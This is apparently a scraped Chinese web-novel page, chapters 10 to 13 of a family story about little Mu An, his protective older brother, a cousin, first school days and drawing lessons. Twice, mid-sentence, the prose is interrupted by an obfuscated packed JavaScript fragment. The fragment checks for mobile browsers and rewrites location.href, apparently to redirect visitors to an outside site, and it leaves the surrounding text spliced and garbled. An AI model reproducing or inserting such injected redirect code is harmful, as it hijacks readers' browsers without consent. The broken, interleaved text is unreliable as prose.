手心里的小脸软乎乎的,一双水亮圆润的大眼睛里很是茫然,手指捏一捏脸颊肉,他塞满饭粒的嘴巴就会嘟着张开,跟小手办玩具的开关似的。 墨时衍凑近了些,捏着他的脸玩了好几下,还笑了。 暮安终于小发雷霆,两只手攥着墨时衍的手腕使劲从自己脸上拔下来,嘴巴快速嚼吧嚼吧把米饭咽下去。 “你打扰我吃饭了!” 墨时衍:“哦,哥哥以为你咽不下去了,是在帮你。” 暮安不满:“能咽下去!” “那对不起,”墨时衍给他夹了块冬瓜排骨,“哥哥跟你道歉。” 暮安不喜欢吃冬瓜,连里面的排骨也不肯吃,墨时衍故意给他放到碗里,还对他道:“吃吧。” 暮安看着他,不肯动筷,墨时衍也不催他,两人就那么大眼瞪小眼。 为了不让他挑食,墨时衍还是把排骨夹起来,直接喂到他唇边。 “今天的排骨很香,没有冬瓜味,不信你尝尝看。” 暮安眼神狐疑:“真的吗,你是不是骗小孩?” “真的,”墨时衍哄他道,“就吃这一块,你不喜欢的话就不吃了。” 暮安听了,张嘴把那块排骨吃了,小脸顿时皱巴起来。 哥哥果然骗小孩! 墨时衍又把汤碗递过来:“喝点汤压一压。” 汤里放了暮安讨厌的胡萝卜,虽然味道很淡,但暮安喝了一口就不肯喝,扭着头要躲开,被墨时衍连哄带骗再喝一口,再喝最后一口,最最后一口,结果一小碗补汤全喝光了。 一旁被赶走的韩叔和钟姨:?? 合着不让他们喂小少爷是因为自己想喂吧…… 好在暮安的门牙长得很快,没几天牙龈处就露出来点白色。 他终于能把心放肚子里,掰着嘴唇跑去给墨时衍展示。 “哥哥,我不用换你的牙了,我自己的牙长出来了!” 但是过了几天,缺了两个牙的墨轩竹哭丧着脸找过来,跟暮安道了个歉,说他没法把牙换给暮安了,因为他自己也没有了。 暮安盯着墨轩竹两个黑洞洞的门牙笑了好半天,这可比他当初的造型丑多了。 这回墨轩竹又说想在这住几天,暮安也舍不得他走,两个豁牙崽一块在蓝悦面前央求了好一会,蓝悦松了口,说墨时衍同意自己就同意。 于是两人又去央求墨时衍,墨时衍见他们连一副完整的门牙都凑不出来,就答应了他们。 暮安兴奋的大声喊:“哥哥万岁——” 墨轩竹也跟着喊:“时衍哥哥万岁——” 两个小崽子白天一块玩得尽兴,晚上一起睡在暮安房间。 睡觉前还要嘀嘀咕咕说一会小孩子间的话题,说着说着墨轩竹就没了声音。 暮安翘着头,往旁边看了眼,以防万一还伸手在墨轩竹面前挥了挥,确信他完全睡死了,这才蹑手蹑脚从床上下来。 抱着自己的小恐龙,一步三回头地出了房间。 噔噔噔跑上三楼,做贼似的轻轻敲敲主卧房门。 “哥哥,是我,”门口露出颗小脑袋,“我是来睡觉的。” 10. 第 10 章 不用墨时衍招呼,他自己进来关了房门爬上床,跟往常一样在哥哥身边躺下,还不忘说了句“哥哥晚安”,然后闭上眼睛很快就睡着了。 墨时衍靠在床边看书,瞥了眼旁边微微鼓起的小山包,把灯光调暗了些。 一开始让暮安睡在主卧是怕他刚来不适应,一个人晚上睡觉再害怕,而且暮安个子小,蜷起来就占了那么一点小地方,睡相也很乖,呼吸轻轻的,很难让人舍得下心把他赶回去,所以这习惯养成后到现在也没改。 早上墨轩竹独自一人在空荡荡的房间醒来后,第一时间就是找暮安去了哪里,钟姨带他下楼来到餐厅,他才发现暮安已经在坐着吃早餐。 “轩轩,你起的好晚哦,大懒虫,”暮安得意道,“我早就起来啦。” 墨时衍看了他一眼,没拆穿。 早上被叫起来洗漱的时候,闭着眼哼哼唧唧赖床的跟不是他了一样。 墨轩竹坐过来,他没想到暮安家里的早餐也这么丰盛,嘴巴里塞得满满的:“我醒了之后就没看到你,还以为你昨天晚上没跟我一起睡呢,原来你是先起来吃饭了,那你怎么没有叫我。” 暮安不想让好朋友知道自己这么大了还要和哥哥一起睡,连忙说道:“知道了知道了,我下次会叫你的,这个虾饺很好吃,你快尝一个。” 墨轩竹嘴巴很容易就被堵上,没再怀疑。 吃完早餐两个小的一起看了会电视,消化消化,然后就顶着大太阳又跑出去玩了。 岛上三面环海,海风湿咸清凉,岸周是嶙峋的白色怪石,被兰佩斯湾的波光粼粼的果冻海水来回拍打,冲刷,热烈的阳光一照,小岛像是漂浮在一团白色海浪上。 庄园尽头处有一大片棕榈树林和巴蕉林,穿过鲜绿肥嫩的丛杂枝叶可以来到小岛边缘。 坐在树下,吹着湿乎乎的海风,近处便是世界闻名的粉色珊瑚海,而抬眼望,海天一线,波涛壮阔。 两个小孩都被这样的美景震撼,把这里选为了秘密基地,每天一吃完饭就急冲冲往外跑,提着钟姨给他们准备好的果汁和零食,叮铃咣铛在外面野餐。 墨时衍不知道他们俩整天凑一起叽叽咕咕忙什么,暮安好几次想带哥哥一起去秘密基地看看,但是哥哥不是要看书,就是要接电话,那个穿白大褂的年轻医生也又来了几次。 等哥哥有空闲下来,天都已经黑了。 墨时衍看暮安耷拉着小脸闷闷不乐,便主动提出可以带他们去海边玩一会,晚上不晒,小岛上月光清凌凌的,还有很多星星,很亮,很美。 两个小崽兴奋的不行,跟着墨时衍来到海边看星星,但小孩闲不住,看一会就觉得无聊,脱了鞋子踏进海水里踩来踩去,裤子都弄湿了大半。 墨时衍不让他们往更深处走,只能在浅滩玩玩,又嚷嚷着让墨时衍给他们用手机手电筒照着光,要捡贝壳。 最后三人在海边捡了很久的贝壳,回去的时候墨时衍上衣和裤子口袋里都被暮安塞得满满当当。 不准给他压坏了,他回去要放到小百宝箱里存起来的。 墨轩竹在庄园住了好些天,每天晚上暮安都是等他睡着了之后偷偷溜上楼,等到他早上醒来的时候暮安都已经起床了,因此墨轩竹一直以为自己晚上是和暮安在一张床上睡的。 对于欺骗好朋友这件事暮安心存愧疚,所以每次吃饭他都会和墨轩竹紧挨在一起,方便给他夹菜,比如自己不爱吃的冬瓜胡萝卜青菜等,只要墨时衍一眼看不着,他就飞快夹过去放到墨轩竹碗里。 墨轩竹从小就不挑食,吃得多,来者不拒,见暮安对他这么好,心里认定了,他一定要和暮安做一辈子的好朋友! 但暑假余额有限,开学前蓝悦过来把墨轩竹接走了。 分别时候两个小崽眼泪汪汪,抱着不愿撒手。 墨时衍把暮安拉过来抱着,给他擦擦眼泪,送着蓝悦和墨轩竹离开。 暮安还是伤心,趴在哥哥肩上一声不吭,歪着脑袋默默哭,豆大的一颗珍珠,从漂亮的浅褐色眼睛里滚出来,把浓密的睫毛都染湿,看着让人心疼坏了。 墨时衍没料到他们已经产生这么深厚的友情,安慰他道:“不用哭,很快就能再见到了。” 暮安吸了吸鼻子:“可是叔母说轩轩要开学了,他得去上小学了。” “对,”墨时衍捏了把他软绵绵的脸蛋,“我们安安也该去上学了。” 暮安在去福利院之前上的就是大班,算起来也正好该上小学,但他年龄小,墨时衍就让赵舟找人安排了下,把他和墨轩竹都送进了港市最好的私立学校,让两个孩子还是同班,能互相照顾点。 知道这个好消息后暮安开心的不得了,搂着墨时衍脖子在他脸上“吧唧”亲了口,脸上眼泪蹭的墨时衍满脸湿乎乎的。 开学前墨时衍托人定制的手环终于送到,他拆开包装试了下,抑制效果要比市面上目前的所有器械都好得多,基本可以做到完全隔绝外界信息素干扰。 他在手机上安了监测软件,把手环给暮安戴上,叮嘱他没有自己的允许在外面绝对不可以摘掉。 学校不比家里,会接触到很多老师和家长,很难说会不会再出现上次那种意外状况,如果暮安真不在眼皮子底下看着,必须得有保护措施才行。 暮安很喜欢自己的新手环,银色金属质感,细细的一小圈,可以自动伸缩长短,戴在雪白的手腕上漂亮得很,他还说等到开学要去学校给轩轩也看看。 但嘴上说是一回事,真到了开学日又是另一回事。 暮安上幼儿园的时候就费了很大劲,每天都哭,哭了一个学期快适应了,结果放个寒假又打回原形,新的一学期又开始天天哭。 那时候是舍不得爸爸妈妈,现在是舍不得哥哥。 墨时衍的学校也定好了,同一天开学,但暮安从早上起床开始就一直跨着小脸,也不开口说话,甚至钟姨喊了他两声他都没应。 墨时衍已经换好高中制服,过来按住了暮安毛茸茸的小脑袋,问他:“怎么又不说话了?钟姨喊你没听见么?” 暮安今天又穿了身新衣服,水蓝色的背带裤,胸口挂着个小鲨鱼,书包也是配套的蓝色,钟姨已经给他在里面装好了文具盒和小水杯。 他本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051696|179055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来就有点憋不住,被哥哥一问,还没出家门就开始闷着头掉眼泪。 钟姨见了疼坏了,忙道:“没事没事,小少爷肯定是没听见,下回我大点声就是了,别说他了。” 墨时衍眉头蹙了下,在暮安面前蹲下身,跟一双泪汪汪的眼睛对视上,喊了他一声:“安安。” “跟哥哥说话。” 暮安带着浓重的鼻音开口:“说了……” 听到他的回应,墨时衍眉宇间这才舒展开。 别的坏习惯都好改,墨时衍最怕的是他又不肯开口讲话。 “那跟哥哥说为什么又哭了?”墨时衍给他擦擦眼泪,又摸了摸他红通通的眼尾,提醒道,“以后有什么事情要讲出来,也不能再对钟姨那么没礼貌,知不知道?” 暮安转头看着钟姨,小脸皱皱巴巴的:“钟姨,对不起,我不是故意的……我以后再也不会了。” 钟姨:“没关系没关系,小少爷别哭了,钟姨根本没放在心上,但是你们再不出门的话开学第一天可就要迟到了。” 不提还好,一提要上学,暮安眼泪又决了堤,干脆上前扑进墨时衍怀里,抱着他脖子哇哇大哭。 “哥哥,我不想上学,不要去上学了,我,我就在家里等着你,不行吗……或者你带我去你的学校吧,我想跟你一起……” 墨时衍没想到他先前答应好好的,还说等到了学校要让老师把他和墨轩竹安排坐同桌,结果今天连学校都不愿去了,有点像轻微的分离焦虑。 “小朋友都得去上学,不然以后没文化会被人笑话,”墨时衍已经变得越来越有耐心,问他,“你想被人笑么?” 暮安愣了:“不,不想……” “哥哥去的学校不能接收小孩子,”墨时衍继续慢慢跟他解释,“但是如果你愿意的话,等以后长大了可以和哥哥上同一所学校。” 这对暮安来说太有诱惑力了,他自己用小手擦了擦脸上的泪痕,点头:“好,那我长大了再去吧。” 墨时衍又道:“不过你现在要好好上学,好好学习才能考得上,能做到么?” 暮安思考了下,抿抿嘴:“能做到!” “哥哥相信你,”墨时衍给他整理了下肩上的小书包,揉了把他的头发,“那现在要不要送你去学校?轩轩应该已经在班里等你了,看不到你估计会很伤心。” 暮安不再哭了,眼里亮晶晶的,过来把手塞进墨时衍手心里,仰着脸问他:“哥哥,你送我去学校行吗?” 墨时衍看了眼时间,他去学校报到的时间已经要过了,干脆给校方打了个电话说自己晚点去,然后一直牵着暮安的手把他送到了校门口。 开学第一天,门口有专门接新生的老师。 暮安放开墨时衍之前还对他招招手,让他弯腰低下来。 墨时衍俯身凑到他耳旁,听见他用两只小手捂着嘴巴,洒着奶呼呼的热气小声问道:“哥哥,你下午还来接我吗?” 原本每天接送暮安上下学是钟姨的任务,但今天毕竟第一天,墨时衍看着他眼巴巴的神色,轻轻点了点头。 “来接你。” 11. 第 11 章 有了墨时衍的承诺,暮安这才放心,被老师牵了过去,一步三回头,见墨时衍一直站在原地看着他,便勉强扯出个笑脸来跟哥哥挥手再见,然后小小的身影消失在偌大校园内。 老师把他带到班级门口,里面已经到了十几个同学,吵吵嚷嚷快把教室屋顶掀了,老师维持了下纪律,让暮安先自己找空位坐下。 教室后排忽然传来大声呼喊:“安安!你快过来,我都给你占好位置了!” 暮安看见墨轩竹后小脸总算明朗了点,连忙背着书包跑过去,开心道:“轩轩,你今天到的比我早哦。” 墨轩竹从旁边把自己小书包拿下来,给暮安擦了擦板凳,颇有点当哥哥的样子,说道:“好了擦干净了,你坐吧。” 两人几天没见又攒了一堆话要说,趴在桌子上叽叽喳喳聊起来。 墨轩竹第一时间发现了暮安手腕上多出来的漂亮手环:“这是什么啊,又是时衍哥哥送你的吗?” 暮安大方地伸给他看,点点头。 墨轩竹羡慕地两眼放光,在上面摸了好几下,他知道大人出门都是要带手环的,但还没见小孩带过,暮安在这方面又领先他好几步,他嘀咕着:“我觉得比我的电话手表还要酷一点,能给我带一下试试吗?” 谁知道暮安直接摇头:“抱歉啊轩轩,不可以。” 墨轩竹又开始求他:“我就带一下不行吗,我保证会马上还给你的,我把我的电话手表抵押给你。” 他说着把手表摘下来塞进暮安手里,暮安眼都不眨,又轻轻推回来。 “我答应过哥哥要一直戴着,不能随便摘,”暮安认真道,“说话要算话。” 墨轩竹听了顿时熄火,他对墨时衍也丝毫不敢违抗,只能再多看几眼,过过眼瘾。 私立小学是小班制,班上一共二十个孩子,家里都是非富即贵,暮安是班上年纪最小的,家世也最好,偏偏懂事又乖巧,长得也天生讨人喜欢,一天下来各科老师都对他印象深刻,班主任甚至直接让他当了班长,墨轩竹跟在暮安屁股后面也混了个副班长。 班上其他同学都对这个班长大人很是听从,长得好看在让人信服方面也有好处,说安静就真的全体安静下来。 不过有了班长职权的暮安也不会随便滥用,就是每次一下课好几个同学都要围在他桌前跟他聊天,都耽误他喝水上厕所了,旁边的墨轩竹看着自己好朋友这么受欢迎也渐渐产生了点危机感。 终于到了下午放学,墨轩竹跟暮安一起往校门口走,两人还没说上几句话,背后又有个同学追上来。 是班上最调皮的一个,叫姜兴澜,开学第一天就被老师调到教室最后一排一个人坐,正好在暮安和墨轩竹后桌,上着课也老跟两人搭话,墨轩竹看见他有点烦。 “班长班长,”姜兴澜没什么眼力见,问道,“你们也放学回家啊?” 暮安弯着眼睛笑笑:“对啊。” 姜兴澜嘴又快又欠:“那你家谁来接你啊?你爸妈还是你爷爷奶奶?” 一旁的墨轩竹听了脸色都变了,赶紧去看暮安的反应。 暮安脸上还挂着柔软笑意,顿了下,说道:“我哥哥来接我。” 姜兴澜惊讶:“原来你还有个哥哥啊,那你爸爸妈妈是生了你和你哥哥两个小孩吗?不对,墨轩竹不也是你哥哥吗,难道你家是三个孩子?” 墨轩竹听不下去,使劲瞪了姜兴澜一眼:“你不说话没人把你当哑巴!” 姜兴澜本来就对他这个副班长不是很服气:“现在放学了,你又管不着我说话,我是跟班长说,又没有跟你说!” 他过来蹭蹭暮安肩膀:“班长,你跟墨轩竹的姓都不一样,长得也不一样,你们应该不是同一个爸爸妈妈吧,那你跟你哥哥呢,是亲生的吗……” 墨轩竹见他没完没了在暮安面前左一个爸妈右一个哥哥,暮安不生气他都怒了,过来把姜兴澜推一边去:“你怎么就知道打听人家的隐私啊!懂不懂礼貌啊!” 姜兴澜体格不大,没想到被胖墩墩的墨轩竹这么一推直接摔得四仰八叉,哭丧着脸从地上爬起来之后,直接冲着墨轩竹大叫一声,一头撞了过来。 两个小孩就这么在人来人往的校园里推搡起来,暮安在旁边着急拉架,但他力气小,拉谁都拉不开,只能喊着:“轩轩,轩轩,别打啦!” 最后还是老师来了才把两个斗牛似的小孩分开,直接给带办公室去了,让家长亲自上去领,暮安作为唯一见证人只能也跟着去。 老师问清楚来龙去脉,本来也没多大事,但是暮安家庭情况确实特殊,老师也很担心会不会给他留下什么心理创伤,严厉警告姜兴澜以后管住自己小嘴巴,别乱打听别人家事。 暮安低头站在一边,心里正想着哥哥是不是已经在校门口等他了,要是等不到他会不会着急呢。 办公室的门下一秒被人从外推开,墨时衍走进来,跟老师打了个招呼,接着就把暮安拉到身边,上上下下好好检查了个遍。 老师忙道:“您放心,安安没参与打架,他是拉架的,我把他也叫上来就是问问情况。” 说归说,墨时衍还是等检查完暮安身上确定没伤处后,一直紧锁的眉头才松开些。 暮安感觉到他身上的气息有点吓人,主动站到他身后,拉住他制服下摆,一副乖样。 眨着大眼睛软乎乎道:“哥哥,我没有受伤。” 旁边的墨轩竹快哭了似的,也喊了句:“时衍哥哥……” 小胖墩脸上挂了点彩,像被指甲划破的,但比起来受伤,他更担心的是打架的事被墨成霄和蓝悦知道,那他回家又免不了一顿双打。 姜兴澜也不好过,胳膊上蹭破点皮,被墨时衍不冷不淡的瞥了眼,嘴巴一瘪直接就被吓哭了。 老师:“……” 最后墨时衍把暮安和墨轩竹从办公室领出来,给蓝悦打了个电话说带墨轩竹再去庄园住几天,让他们夫妇俩放心。 接着两个小崽回家后,钟姨赶紧给墨轩竹脸上涂了点药防止留疤。 暮安在沙发边看着都觉得揪心,还跟大人似的问墨轩竹:“以后你还敢打架吗?” 墨轩竹斯哈斯哈道:“不打了不打 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墨时衍见他丝毫没因为白天被人提到父母的事而伤心沮丧,应了声:“可以。” 暮安笑起来,圆润的眼尾眯成道弯。 墨时衍看着,胸口却像是被人狠狠揪了把。 小孩总是单纯善良的过头,光知道为别人求情,自己心里难道就没一点难过和委屈。 “以后再有人问你那种不想回答的问题要直接拒绝,不用管什么后果。”墨时衍告诉他。 “啊……”暮安想了想,“可我是班长呢,老师说班长要带头团结同学……” “不管是谁,不论哪个同学,都没有你重要,只要让你不开心的事就可以不做,发生什么有哥哥给你兜底,”墨时衍捏了捏他手心,“什么都不用怕。” 暮安还不懂这其中更深厚的涵义,似懂非懂的点了点头。 晚上暮安照例和墨轩竹先在自己房间躺了会,等到旁边没动静了,他又跑去主卧爬到墨时衍床上。 谁知道这回墨时衍拦了他一下,对他道:“都上小学了,难道还跟哥哥睡一起?” 不是墨时衍要赶他走,小学生作业少,晚上睡得也早,第二天还得早起上学,墨时衍晚上还要忙一会,不想打扰他休息。 暮安没被别人伤到,倒被哥哥这句暗示给伤得不轻,黏黏糊糊贴过来,眼巴巴看着他:“上小学为什么就不能睡一起,上小学就不是哥哥的弟弟了吗?” 这话问的没道理,墨时衍坐在床边,被他紧紧抱着手,只能回答:“当然是,永远都是哥的弟弟。” 暮安缩进被子里,只露一双眼睛给他。 “弟弟可以睡在这里吗?” 墨时衍被他看的心软,一抬手把他眼睛也给盖上,暮安赶紧拉下来,又被给盖上,来来回回几次,逗得暮安在被窝里咯咯笑个没完。 墨时衍隔着被子在他身上拍了下,摸摸他的头发,也轻轻笑了。 “好了,睡吧。” 12. 第 12 章 暮安如愿躺在墨时衍床上睡了,墨轩竹对此依旧毫不知情。 早上两人是被墨时衍亲自送到学校去的,在校门口叮嘱不许再打架,小崽们连连点头,发誓再也不敢。 巧的是正好又遇上姜兴澜,冤家路窄。 暮安正在考虑要不要主动上前打个招呼缓和关系,谁知道姜兴澜看了眼站在他们背后冷着张脸的墨时衍,背着书包拔腿就跑了。 白天上课时候姜兴澜也出奇的听话,不给老师接话茬,也不再午休时捣乱,甚至在暮安维持班上秩序的时候第一个响应,老老实实趴在自己位置上闭了嘴,搞得暮安和墨轩竹都惊诧不已。 墨轩竹有点小骄傲:“肯定是知道我的厉害,再也不敢找事了,安安,你说是不是昨天下午的时候我把他给打服了?” 暮安还真想了下,摇头:“我觉得不是,他刚才还冲你翻白眼了。” 墨轩竹直接炸了,回头对着姜兴澜一连翻了三个白眼,眼睛差点抽筋。 姜兴澜不明所以,看着他问:“你眼里进东西了啊?” 墨轩竹一拍桌子:“你是不是还不服气?有本事我们再出去打一架!” 暮安赶紧拉住他胳膊:“好了轩轩,我们已经答应哥哥不会再打架了,你不能每次都那么冲动,打架不是好事。” 姜兴澜一听,缩了缩脖子:“没错没错,我才不跟你打架,老师要是又把我们带去办公室的话,你哥又得跑来接你们了。” 墨轩竹考虑了下,盯着姜兴澜问:“那你服不服气?” 姜兴澜好汉不吃眼前亏,他倒是不怕墨轩竹这个小鬼,但是暮安的哥哥看起来实在吓人,他拱拱手:“服气服气,班长大人,我们以后还是做好朋友吧,我就跟着你混了,你一定要让你哥也罩着我啊。” 暮安疑惑:“啊……你认识我哥哥吗?” 姜兴澜:“不认识啊,但你哥哥肯定是alpha吧,你知道他的分化等级吗?是A级还是S级?我家里都没有S级的alpha,你哥哥是不是很厉害啊?他有没有告诉过你他的信息素是什么味道的?” 少年分化期一般在14-16岁,因此小学并没设置生理知识课,姜兴澜家里也有已经分化的哥哥姐姐,对这方面的了解明显多得多,一连串的问题直接给暮安问懵住。 暮安知识储备确实匮乏,一旁的墨轩竹连忙显摆道:“我知道我知道!我之前问过我妈妈,S级就是最高等级,信息素特别厉害,上回安安还被害得住院了呢,可危险了。” 姜兴澜也感到意外:“住院了,那班长现在好了吗?” 墨轩竹:“早就好了,你看安安戴的手环,特别高级,我跟你说这上面还有显示屏……” 两颗脑袋凑到暮安手腕面前嘀嘀咕咕研究着,暮安坐在凳子上,把手臂伸出来老老实实给他们看,另只手拖着脸颊,呆呆望着地面出神。 姜兴澜跟墨轩竹不打不相识,三人反倒成了形影不离的好朋友。 下午放学墨时衍不太放心,和钟姨一起来接的,结果看见暮安走在最前面,墨轩竹在后面拉着他的书包,姜兴澜又拉着墨轩竹的书包,三人开小火车似的兴冲冲往校门口跑。 暮安一眼就看到人群里个子最高,长得最帅,穿着身高中制服的哥哥,马不停蹄朝着哥哥的方向扑过来,连带着身后两节车厢一起撞在了墨时衍身上。 好在墨时衍及时伸手把他兜怀里护住,又把他书包提起来挡了下,墨轩竹便一脸拍在了他书包上。 “哥哥,”暮安很是惊喜,“你今天怎么也来接我啦!” 墨时衍扶着他站稳,脸色有点严肃:“下次不准跑那么快。” 要不是自己接着,后面那两个小崽子都得摔他身上。 暮安心情好的不得了,抱着哥哥不撒手,晃来晃去撒娇:“知道啦知道啦,不会再跑啦。” 姜兴澜见着墨时衍还是有点发怵,也不知道搭错哪根筋,冲着墨时衍猛地鞠了一躬,神情紧张的像小喽啰第一次拜见大哥,然后头也不回地跑了。 墨时衍把暮安书包接过去,墨轩竹的书包给了钟姨。 今天老师布置了点简单的作业,到家后暮安就拉着墨轩竹先做完作业再一起玩,墨时衍还因此夸了他懂事。 两人写作业的时候墨时衍悄声进了房间,暮安正扭着身子趴桌子上,作业本倒是板板正正摆在面前,但是旁边还放了个画本。 写不了两个字就觉得无聊了,在画本上戳几下,画只小鸟,画朵小花,写作业哪有画画好玩。 旁边的墨轩竹更厉害,已经趴桌子上睡着了。 墨时衍站在暮安身后,忽然伸了只手过来,把暮安手里的铅笔抽走。 暮安愣了下,直起身子来看他,有点心虚的把画本悄悄藏在了作业本下。 “哥哥,我快写完了。” 墨时衍垂眸看了眼,半个多小时,写了能有十个字。 暮安用手挡住作业本,从墨时衍手里抢自己的笔:“我还要继续写的,快把笔还给我呀,哥哥哥哥哥哥,给我笔。” 墨时衍没给他,反倒把他的画本抽了出来,抬起来仔细看。 暮安这回更急了,直接站凳子上挥着手抢:“我随便乱画的,别看别看……” 墨时衍一只手抵着他脑袋,把画本大概翻了下。 “这么喜欢画画么?” 暮安被他牵制着,脑袋跟着他的手晃来晃去,小小声的说了句:“喜欢呀。” 墨时衍把他从凳子上抱下来,画本还给他,铅笔也塞回他手心里:“每天能按时把作业完成的话,哥哥就送你最好的画具,给你请最好的老师。” 暮安眼里顿时冒光:“真的吗真的吗?是可以学画画的意思吗?” “真的,”墨时衍在他额头上轻轻一点,“前提是要乖乖听话。” 暮安赶紧在凳子上规规矩矩坐好:“我最听话了,我很快就能把作业写完!” 墨时衍干脆在他旁边坐下,寸步不离看着他写。 暮安认真起来其实写字的速度不慢,小孩就是没人看着注意力难集中,墨时衍盯着他写了几笔,又握着手教他。 大手包裹住白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“哦,”暮安拉拉被子,“好吧。” 墨时衍在被窝里拉了下小手,手指摸索到他戴着的那个银质手环,在上面拨了圈。 “知道为什么让你一直带着这个么?” 暮安眼睛本来已经眯上了,又缓缓掀开条缝:“哥哥为了保护我。” 墨时衍笑笑:“对,保护你的,你不能收到外界信息素干扰,不然就会像上次那样住院,所以哥哥不让你在外面摘,是怕你遇到危险的时候哥哥又不在你身旁,知道么?” 暮安很懂事,也在被窝里轻轻拉了拉哥哥的手,又碰碰哥哥手臂上的那一条细长伤疤,就是他住院那天留下来的。 “知道,我都一直戴着,轩轩说想看看我都没有摘下来给他,”他声音软乎乎的,异常坚定,“因为我答应你了。” 墨时衍用另只手在他身上拍拍:“乖。” 没出几天,墨轩竹脸上的伤已经好了,蓝悦也打了几次电话催他回家,墨轩竹再不情愿也得回去。 在庄园睡得最后一晚,墨轩竹躺在暮安床上差点没哭出来,他在这过的倒是快活,没有亲爸妈管着整天跟撒欢的小白一样,暮安一边安慰他,一边在心里默默盘算等他走了之后,自己终于不用再每天晚上偷偷溜上楼了。 半夜三更,墨轩竹因为晚上吃多了西瓜起夜,可一摸旁边被子,居然是空的。 墨轩竹:! 13. 第 13 章 楼下亮了灯,吵嚷声传到三楼来。 墨轩竹听了钟姨的话并不相信,非要上主卧来亲眼看看暮安是不是睡在这。 黑漆漆的房门先一步被人从里打开,墨轩竹抬起脸,看见了被吵醒后脸色发冷的墨时衍。 “时衍哥哥……”墨轩竹怂怂开口,“我来找安安……” 墨时衍回头看了眼安静的大床,把房门微微遮掩了下:“他还在睡,小声些。” 墨轩竹赶紧捂住嘴,踮着脚好奇的往房门内张望。 这个房间像是庄园内的秘密禁地,他都在这里住了这么久,其他地方都已经很熟悉,唯独这房间他从没进去过。 “安安在里面吗?”墨轩竹小小声发问。 墨时衍:“嗯。” 墨轩竹:“奇怪,他不是跟我一起睡觉的吗,什么时候上来的,我怎么不知道呢?” 房内忽然传来道轻声呼喊:“哥哥……” 墨时衍推开门,暮安没找到人已经自己从床上坐起来,揉着眼睛,看样子准备下床找。 他晚上睡觉黏人,被吵醒更是。 墨时衍快步过来,把他又抱回床上,动作轻柔的拍了拍他:“哥哥在这。” 暮安睁眼看到他才算安定,抓着他的手正要继续睡,忽然觉得自己好像还看到了点别的,眼睛眨了眨,望向门边。 墨轩竹扒着门框,笑嘻嘻地招招手。 “轩轩,你怎么也上来啦,”暮安笑起来,“你也做噩梦了吗?” “没有,我才没做噩梦,我是来找你的,你怎么睡在这里啊安安?” “我……”暮安抿抿嘴,呆呆地看向墨时衍,不知道该怎么说。 墨时衍帮忙解释:“你们那张床睡两个人有点小了,我让安安把床让给你睡,叫他上来陪我。” 墨轩竹了然,丝毫没想到家里明明还剩那么多间空房闲置。 “但是我不想一个人睡在下面,”墨轩竹试探性地问道,“我能不能也睡在这啊?我想和你们一起……” 暮安眼睛亮了亮:“哥哥,让轩轩也在这里睡吧,你的床这么大,能睡得下的,可以吗?” 墨时衍没应,他这是卧室,不是什么儿童房。 暮安两手合十放在下巴前晃晃:“求求你了哥哥,就让轩轩也来呗,拜托拜托。” 墨时衍不说话他就一直拜托来拜托去,拜托个没完。 直到墨时衍对门外的墨轩竹命令道:“去把被子抱来。” 墨轩竹:“遵命!” 三人睡在一张床上倒是并不拥挤,两个小的根本占不了多大地方,尤其睡在中间的暮安,细细软软的一条,往被窝里一缩跟猫条似的。 这回能安稳地一觉睡到天亮了。 早上闹钟响的第一声就被墨时衍关掉,胸口处热热腾腾的一小团,在被窝下鼓起个微隆的弧度。 他轻轻掀开被子,一张白白净净的小脸就露出来,柔软黑发遮在额前,大半个身子都压到他身上来,脸颊隔着层单薄睡衣趴在他胸前,软嫩的脸颊被挤压的肉乎乎。 整个人像团又软又热的棉花糖,黏在身上要被融化了似的,还正睡得香甜。 再往旁边看一眼,原来是整张床一大半的空都被墨轩竹霸占住,他在床中央睡成个大字,先把暮安挤到墨时衍怀里,又把哥俩挤到床沿边。 墨时衍搂着暮安缓和几秒,是第一次也是最后一次,总归以后他不可能再跟这两个小的躺在同一张床上。 早上送两人去学校的时候墨轩竹还闹腾着不想回家,被暮安轻声细语劝了几声,居然就老老实实听了话。 暮安这个班长不是白当的,第一次考试他直接考了个全班第一,这回成了班上人人崇拜的班长大人,不仅成绩好,还有威望,更别提长相家世样样卓越。 他的成绩好也离不开墨时衍的督促,每晚盯着他写作业不说,有时候看他写的快,完成的好,还会提前给他讲一点后面要学的内容,这就导致有时候上课老师讲的内容暮安已经提前学会了,听课就变得有点无聊。 但他不会在课上捣乱,只是有时候会偷偷拿出来自己的画本,用铅笔在上面涂涂画画,安安静静做自己的事。 墨时衍说话算话,给他布置了画室,买了昂贵的画具,还请了教学经验丰富的老师专门教他画画。 老师看了暮安先前自己在画本上乱画的大作,赞不绝口,直夸暮安有天赋,夸得他美滋滋的有点找不着北。 画画学了将近一个学期,暮安水平突飞猛进。 墨轩竹有时候看他趴在桌上画来画去,居然能一整节课一动不动,也觉得好奇,趁老师不注意偷偷过来看。 “你画的什么啊?” 暮安头也不抬,压低声音悄悄回答:“小白。” 小白长得太快了,现在已经比夏天时候高了很多,俊俏威猛。 墨轩竹歪着脑袋:“这是小白吗?我怎么觉得有点像小狗?” 暮安嫌他烦人,用胳膊肘戳戳他:“你别看我了,快点听课。” 墨轩竹反驳:“你咋不听?” 暮安平静:“老师讲的我都会了,你呢?” 墨轩竹:“……” 两人嘀嘀咕咕以为老师听不见,直到姜兴澜在背后拼命咳嗽几声,还故意踢了踢暮安的凳子。 暮安抬起头,这才发现老师就站在他桌前。 画本被老师没收,当然也不出所料叫了家长去办公室领。 墨时衍赶到学校的时候,暮安正站在外面走廊上等。 外面天冷,学生教室会开空调,所以钟姨早上没给暮安里面穿很多,一件薄毛衣加学校制服,外面还有个厚点的小外套。 但现在暮安没穿外套,也不知道已经等了多久。 他鼻尖红红的,看见墨时衍后露出个笑脸,飞快朝他跑过来。 “哥哥你怎么才来,”暮安拉着他的手,“你今天不是有考试的吗?已经考完了吗?” 